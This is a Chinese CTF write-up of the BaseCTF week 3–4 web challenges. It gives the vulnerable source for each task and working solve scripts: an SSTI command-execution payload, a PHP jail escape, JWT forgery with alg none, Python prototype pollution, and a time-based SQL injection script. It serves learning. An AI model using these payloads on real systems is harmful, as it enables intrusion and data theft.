BaseCTF week3&4 web详解
fffffilm 发表于 江西 CTF 1338浏览 · 2024-09-12 10:21

[Week3]

滤个不停

<?php
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
    die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
    if (strpos($Datch, $char) === false) {
        $is_valid = false;
        break;
    }
}

if ($is_valid) {

    $invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

    foreach ($invalid_patterns as $pattern) {
        if (stripos($Datch, $pattern) !== false) {
            die('此路不通换条路试试?');
        }
    }


    include($Datch);
} else {
    die('文件名不合规 请重试');
}
?>

禁掉了很多伪协议,那利用filter链打rce就算了。并且要求datch里面包含['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];这些字母。观察后发现这个可以拼成日志的路径。试一下后成功rce


玩原神玩的

<?php
highlight_file(__FILE__);
error_reporting(0);

include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
  ys_open($_GET['tip']);
} else {
  die("错了!就你还想玩原神?");
}

function ys_open($tip) {
  if ($tip != "我要玩原神") {
    die("我不管,我要玩原神!");
  }
  dumpFlag();
}

function dumpFlag() {
  if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
    die("可恶的QQ人!");
  }
  $a = $_POST['m'][0];
  $b = $_POST['m'][1];
  if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
    die("某站崩了?肯定是某忽悠干的!");
  }
  include 'flag.php';
  $flag[] = array();
  for ($ii = 0;$ii < sizeof($array);$ii++) {
    $flag[$ii] = md5(ord($array[$ii]) ^ $ii);
  }

  echo json_encode($flag);
}

写个脚本爆破一下array数组长度

import requests

url = "http://challenge.basectf.fun:33806"
max_len = 100

for len_size in range(1, max_len + 1):

    data = {}
    for i in range(len_size):
        data[f'len[{i}]'] = 'fffffilm'
    print(data)
    response = requests.post(url, data=data)
    print(f"尝试长度: {len_size}, 服务器响应: {response.text}")

生成POST数组。

<?php
$len_size = 45;
$query_string = '';
for ($i = 1; $i <= $len_size; $i++) {
    $query_string .= "len[$i]=1";
    if ($i < $len_size) {
        $query_string .= '&';
    }
}
echo $query_string;
?>

接着按要求传参即可

一个丑陋的python拿到flag每一位的md5

import requests

url = ("http://challenge.basectf.fun:32374?tip=我要玩原神")

headers={

        "Content-Type": "application/x-www-form-urlencoded"
    }
data='len[1]=1&len[2]=1&len[3]=1&len[4]=1&len[5]=1&len[6]=1&len[7]=1&len[8]=1&len[9]=1&len[10]=1&len[11]=1&len[12]=1&len[13]=1&len[14]=1&len[15]=1&len[16]=1&len[17]=1&len[18]=1&len[19]=1&len[20]=1&len[21]=1&len[22]=1&len[23]=1&len[24]=1&len[25]=1&len[26]=1&len[27]=1&len[28]=1&len[29]=1&len[30]=1&len[31]=1&len[32]=1&len[33]=1&len[34]=1&len[35]=1&len[36]=1&len[37]=1&len[38]=1&len[39]=1&len[40]=1&len[41]=1&len[42]=1&len[43]=1&len[44]=1&len[45]=1&len[3]=2&m[0]=100%&m[1]=love100%2530bd7ce7de206924302499f197c7a966'
response = requests.post(url, data=data,headers=headers)
print(response.text)

["3295c76acbf4caaed33c36b1b5fc2cb1","26657d5ff9020d2abefe558796b99584","73278a4a86960eeb576a8fd4c9ec6997","ec8956637a99787bd197eacd77acce5e","e2c420d928d4bf8ce0ff2ec19b371514","43ec517d68b6edd3015b3edc9a11367b","ea5d2f1c4608232e07d3aa3d998e5135","c8ffe9a587b126f152ed3d89a146b445","44f683a84163b3523afe57c2e008bc8c","f0935e4cd5920aa6c7c996a5ee53a70f","698d51a19d8a121ce581499d7b701668","2838023a778dfaecdc212708f721b788","5f93f983524def3dca464469d2cf9f3e","093f65e080a295f8076b1c5722a46aa2","44f683a84163b3523afe57c2e008bc8c","9f61408e3afb633e50cdf1b20de6f466","7f39f8317fbdb1988ef4c628eba02591","3416a75f4cea9109507cacd8e2f2aefc","6364d3f0f495b6ab9dcf8d3b5c6e0b01","6364d3f0f495b6ab9dcf8d3b5c6e0b01","5ef059938ba799aaa845e1c2e8a762bd","9f61408e3afb633e50cdf1b20de6f466","e369853df766fa44e1ed0ff613f563bd","1c383cd30b7c298ab50293adfecb7b18","d645920e395fedad7bbbed0eca3fe2e0","d645920e395fedad7bbbed0eca3fe2e0","b53b3a3d6ab90ce0268229151c9bde11","a0a080f42e6f13b3a2df133f073095dd","f7177163c833dff4b38fc8d2872f1ec6","ec5decca5ed3d6b8079e2e7e7bacc9f2","202cb962ac59075b964b07152d234b70","c0c7c76d30bd3dcaefc96f40275bdc0a","735b90b4568125ed6c3f678819b6e058","98f13708210194c475687be6106a3b84","b6d767d2f8ed5d21a44b0e5886680cb9","ea5d2f1c4608232e07d3aa3d998e5135","fc490ca45c00b1249bbe3554a4fdf6fb","7cbbc409ec990f19c78c75bd1e06f215","735b90b4568125ed6c3f678819b6e058","a3f390d88e4c41f2747bfa2f1b5f87db","70efdf2ec9b086079795c442636b55fb","fbd7939d674997cdb4692d34de8633c4","32bb90e8976aab5298d5da10fe66f21d","32bb90e8976aab5298d5da10fe66f21d","43ec517d68b6edd3015b3edc9a11367b"]

搓个爆破脚本。

import hashlib

hashes = [
    "3295c76acbf4caaed33c36b1b5fc2cb1","26657d5ff9020d2abefe558796b99584","73278a4a86960eeb576a8fd4c9ec6997",
    "ec8956637a99787bd197eacd77acce5e","e2c420d928d4bf8ce0ff2ec19b371514","43ec517d68b6edd3015b3edc9a11367b",
    "ea5d2f1c4608232e07d3aa3d998e5135","c8ffe9a587b126f152ed3d89a146b445","44f683a84163b3523afe57c2e008bc8c",
    "f0935e4cd5920aa6c7c996a5ee53a70f","698d51a19d8a121ce581499d7b701668","2838023a778dfaecdc212708f721b788",
    "5f93f983524def3dca464469d2cf9f3e","093f65e080a295f8076b1c5722a46aa2","44f683a84163b3523afe57c2e008bc8c",
    "9f61408e3afb633e50cdf1b20de6f466","7f39f8317fbdb1988ef4c628eba02591","3416a75f4cea9109507cacd8e2f2aefc",
    "6364d3f0f495b6ab9dcf8d3b5c6e0b01","6364d3f0f495b6ab9dcf8d3b5c6e0b01","5ef059938ba799aaa845e1c2e8a762bd",
    "9f61408e3afb633e50cdf1b20de6f466","e369853df766fa44e1ed0ff613f563bd","1c383cd30b7c298ab50293adfecb7b18",
    "d645920e395fedad7bbbed0eca3fe2e0","d645920e395fedad7bbbed0eca3fe2e0","b53b3a3d6ab90ce0268229151c9bde11",
    "a0a080f42e6f13b3a2df133f073095dd","f7177163c833dff4b38fc8d2872f1ec6","ec5decca5ed3d6b8079e2e7e7bacc9f2",
    "202cb962ac59075b964b07152d234b70","c0c7c76d30bd3dcaefc96f40275bdc0a","735b90b4568125ed6c3f678819b6e058",
    "98f13708210194c475687be6106a3b84","b6d767d2f8ed5d21a44b0e5886680cb9","ea5d2f1c4608232e07d3aa3d998e5135",
    "fc490ca45c00b1249bbe3554a4fdf6fb","7cbbc409ec990f19c78c75bd1e06f215","735b90b4568125ed6c3f678819b6e058",
    "a3f390d88e4c41f2747bfa2f1b5f87db","70efdf2ec9b086079795c442636b55fb","fbd7939d674997cdb4692d34de8633c4",
    "32bb90e8976aab5298d5da10fe66f21d","32bb90e8976aab5298d5da10fe66f21d","43ec517d68b6edd3015b3edc9a11367b"
]
for index, char in enumerate(hashes):
    for flag_char in range(0, 256):
        if (hashlib.md5(str(flag_char).encode("UTF-8")).hexdigest()) == char:
            print(flag_char)
            break


没注意到这是异或后的结果$flag[$ii] = md5(ord($array[$ii]) ^ $ii)

让gpt写一个解密吧。

# 给定的 XOR 结果
xor_results = [66, 96, 113, 102, 71, 81, 64, 124, 62, 106, 111, 51, 110, 59, 62, 56, 61, 41, 32, 32, 118, 56, 34, 35, 40, 40, 55, 122, 44, 127, 123, 50, 67, 20, 22, 64, 65, 70, 67, 68, 17, 76, 72, 72, 81]


def decrypt_xor_results(xor_results):
    original_values = []

    for index, xor_value in enumerate(xor_results):
        # 恢复原始的 ASCII 码值
        original_ascii = xor_value ^ index
        original_values.append(original_ascii)

    return original_values


# 还原 ASCII 码值
original_ascii_values = decrypt_xor_results(xor_results)

# 打印结果
print("Original ASCII values:", original_ascii_values)
print("Original characters:", ''.join(chr(value) for value in original_ascii_values))

复读机

题目是一个复读机。这种题目写多了自然而然会想到ssti,别问我为什么。

测试一下发现,waf的情况奇奇怪怪的。多次调试后,用fenjing解决。

读取到源码后才知道为什么waf很奇怪

if '%' not in data and char_count(data,'{') == 1: return False

这个直接返回False一开始让我以为都打不了了。但是多套几层{}{}又可以了。这也是调用里面"flag":"BaseCTF{}{}"+payload这样写的原因。

拿flag的payload

flag=Basectf{}{%set gl='_'~'_'~'g''lobals'~'_'~'_'%}{%set bu='_'~'_'~'b''uiltins'~'_'~'_'%}{%set im='_'~'_'~'import'~'_'~'_'%}{%set vs='OS'|lower%}{%set ca='%c%c%c%c%c%c%c'%(99,97,116,32,47,102,42)%}{%print g['p''op'][gl][bu][im](vs)['p''open'](ca)['read']()%}

反弹shell

没弹上,可能没出网?

import functools
import time
import requests
from fenjing import exec_cmd_payload

url = "http://challenge.basectf.fun:48151/flag" #
@functools.lru_cache(1000)
def waf(payload: str): # 如果字符串s可以通过waf则返回True, 否则返回False
    time.sleep(0.1) # 防止请求发送过多
    print(payload)
    data={
        "flag":"BaseCTF{}{}"+payload
    }
    resp = requests.post(url,  timeout=10, data=data)
    print(resp.text)
    if "你想干嘛? 杂鱼~ 杂鱼~" not in resp.text and "匹配" not in resp.text:
        return True
if __name__ == "__main__":
    shell_payload, will_print = exec_cmd_payload(
        waf, "cat /f*" )
    if not will_print:
        print("这个payload不会产生回显!")

    print(f"{shell_payload=}")


源码如下:

from flask import *

app = Flask(__name__)
app.config["SECRET_KEY"] = 'flag{SSTI_123456}'

def char_count(data,char):
    cnt = 0
    for i in data:
        if i == char:
            cnt += 1
    return cnt

def waf(data):
    if '%' not in data and char_count(data,'{') == 1:
        return False

    ban_list_string = ['class', 'base', 'mro', 'init', 'global', 'builtin', 'config', 'request', 'lipsum', 'cycler', 'url_for', 'os', 'pop', 'format', 'replace', 'reverse']
    ban_list_char = ['{{', '}}', '__', '.', '*', '+', '-', '/', '"', ':', '\\' ]

    for ban in ban_list_string:
        if ban in data:
            return True

    for ban in ban_list_char:
        if ban in data:
            return True

    return False

def check_balanced(string):
    stack = []
    matching_bracket = {'}': '{'}
    for char in string:
        if char in matching_bracket.values():
            stack.append(char)
        elif char in matching_bracket.keys():
            if stack and stack[-1] == matching_bracket[char]:
                stack.pop()
            else:
                return False
    return len(stack) == 0

def check_header(data):
    try:
        data = data.split('{')[0]
        headers = ['BaseCTF']
        for header in headers:
            if header.upper() == data.upper():
                return False
        return True
    except:
        return True

@app.route("/")
def index():
    return render_template('index.html')

@app.route("/flag", methods=["POST"])
def check_flag():
    flag = request.form.get("flag")
    print(flag)
    if flag == None:
        return 'BaseCTF{fake_flag}'
    else:
        if check_header(flag):
            return "flag 头是 BaseCTF 或 flag"
        if not check_balanced(flag):
            return '括号不匹配哦~'
        if waf(flag):
            return "你想干嘛? 杂鱼~ 杂鱼"
        return render_template_string(flag)

ez_php_jail

感觉是

<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];

if($Jail == null) die("Do You Like My Jail?");

function Like_Jail($var) {
    if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
        return false;
    }
    return true;
}

if (Like_Jail($Jail)) {
    eval($Jail);
    echo "Yes! you escaped from the jail! LOL!";
} else {
    echo "You will Jail in your life!";
}
echo "\n";

// 在HTML解析后再输出PHP源代码

?>

第一次写php的jail。过滤了$,a,c,s以及几个函数

我们可以利用highlight_file来查看文件内容。但是这里a被过滤掉了,利用glob配合通配符寻找文件。并且这里[0]来表明是查看匹配到的第一个文件,也就是我们的flag。否则是不会返回内容的。

Jail[by.Happy=highlight_file(glob("/fl*")[0]);

[Week4]

flag直接读取不就行了?

<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
  echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

直接利用php原生类就好了。

圣钥之战1.0

访问read路由拿到源码

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
    return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
    file = open(__file__, encoding="utf-8").read()
    return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag()
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    if request.is_json:
        merge(json.loads(request.data),instance)
    else:
        return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
    return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80)

python原型链污染

把file改成/flag然后访问read路由即可

No JWT

from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string

app = Flask(__name__)

# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))

# 登录接口
@app.route('/login', methods=['POST'])
def login():
    data = request.json
    username = data.get('username')
    password = data.get('password')

    # 其他用户都给予 user 权限
    token = jwt.encode({
            'sub': username,
            'role': 'user',  # 普通用户角色
            'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
        }, app.secret_key, algorithm='HS256')
    return jsonify({'token': token}), 200

# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
    token = request.headers.get('Authorization')

    if token:
        try:
            decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
            # 检查用户角色是否为 admin
            if decoded.get('role') == 'admin':
                with open('/flag', 'r') as f:
                    flag_content = f.read()
                return jsonify({'flag': flag_content}), 200
            else:
                return jsonify({'message': 'Access denied: admin only'}), 403

        except FileNotFoundError:
            return jsonify({'message': 'Flag file not found'}), 404
        except jwt.ExpiredSignatureError:
            return jsonify({'message': 'Token has expired'}), 401
        except jwt.InvalidTokenError:
            return jsonify({'message': 'Invalid token'}), 401
    return jsonify({'message': 'Token is missing'}), 401

if __name__ == '__main__':
    app.run(debug=True)

题目给了源码,发现只有jwt里面role为admin就可以拿flag了,key是16位的爆破太久了。注意到解码JWT的时候options={"verify_signature": False, "verify_exp": False}没有对签名算法做验证。直接伪造即可。也就是将签名算法改成none,再将role改为admin

这里token.split(" ")[1]也就是取空格后的第一部分数据。

only one sql

<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
    die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query);

利用update和REGEXP进行时间盲注,可能网络波动会有影响,多少几次就好了。

import requests
import time

url = 'http://challenge.basectf.fun:32425'
flag = ''
strings = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_-abcdefghijklmnopqrstuvwxyz{}'
for i in range(1, 100):
        for char in strings:
            payload="UPDATE flag SET id = 'fffffilm' WHERE data REGEXP '^Basectf' AND IF(data REGEXP '^{}',sleep(1), 1)".format((flag+char))
            params={
                "sql":payload
            }
            print(payload)
            time.sleep(0.05)
            start_time = time.time()
            rs = requests.get(url,params=params)
            end_time = time.time()
            if end_time - start_time > 1:
                flag += char
                print(flag)
                break
#flag='BASECTF{A8F992ED-CCCE-49BA-AB3E-6C71EB538DFD}'
#print(flag[:1]+flag[1:4].lower()+flag[4:7]+flag[7:].lower())

1 条评论
某人
表情
可输入 255